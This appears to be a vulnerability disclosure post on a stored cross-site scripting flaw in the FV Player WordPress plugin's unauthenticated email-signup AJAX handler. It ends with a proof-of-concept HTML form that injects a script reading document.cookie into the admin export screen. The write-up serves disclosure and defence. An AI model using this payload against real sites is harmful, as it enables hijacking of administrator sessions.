Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in FV Player (FV Flowplayer Video Player)
One of the changelog entries for the latest version of FV Player (FV Flowplayer Video Player) is “Security – fix for XSS vulnerability in email subscription”. When we started to look into that what we found is not only that there had been persistent cross-site scripting (XSS) vulnerability fixed in the email subscription functionality, but there is also another another vulnerability in that same functionality, which we will disclose in a follow up post.
Looking at the changes made we found that sanitization was added to the function email_signup() in the file /models/email-subscription.php. That function is accessible through WordPress’ AJAX functionality whether the request is coming from someone logged in to WordPress or not:
12 13 | add_action( 'wp_ajax_nopriv_fv_wp_flowplayer_email_signup', array($this, 'email_signup') ); add_action( 'wp_ajax_fv_wp_flowplayer_email_signup', array($this, 'email_signup') ); |
The sanitization added doesn’t rely on any of WordPress’ sanitization functions, which doesn’t seem like the best indication of the security of the plugin. For example, in several places they added using sanitization using strip_tags():
519 | 'first_name' => isset($data['first_name']) ? strip_tags($data['first_name']) : '', |
That code adds a new entry for an email subscription list stored by the plugin. As the proof of concept below shows, when the contents of the list is viewed the values are output without being escaped either, permitting persistent cross-site scripting (XSS) to have previously been possible.
Proof of Concept
The following proof concept will cause any available cookies to be shown in an alert box on the page /wp-admin/options-general.php?page=fvplayer&fv-email-export-screen=1.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=fv_wp_flowplayer_email_signup" method="POST"> <input type="hidden" name="list" value="1" /> <input type="hidden" name="email" value="test@example.com" /> <input type="hidden" name="first_name" value='"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>